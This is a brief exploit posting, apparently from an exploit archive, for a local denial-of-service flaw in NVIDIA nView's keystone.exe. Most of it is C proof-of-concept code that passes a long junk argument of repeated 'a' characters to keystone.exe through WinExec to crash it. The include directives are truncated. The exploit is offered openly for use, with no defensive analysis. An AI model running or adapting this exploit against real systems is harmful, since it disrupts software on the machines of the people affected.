The nVIDIA nview keystone is vulnerable to a Denial of Service attack.
A attacker could exploit this vulnerability by sending junk data to keystone.exe.
=== Exploit =/*
NVIDIA nView (keystone) local Denial Of service
(c)oded By Hessam-x / www.Hessamx.net 
*/
#include 
#include 
#include 
int main()
{
char junk[] = "a";
char box[650];
 char *buf;
 int i;
	printf("-:: NVIDIA nView (keystone) Denial Of service \n");
printf("-:: Coded By Hessam-x / www.hessamx.net \n"); 
    strcpy(box,"a");
	for (i = 0; i < 600; i++) {
	  strcat(box,junk);
	}
	 buf = (char *) malloc(650);
strcpy (buf,"keystone\t");
strcat (buf,box);
buf[650-1]='\0';
WinExec(buf,0);  
free(buf);
}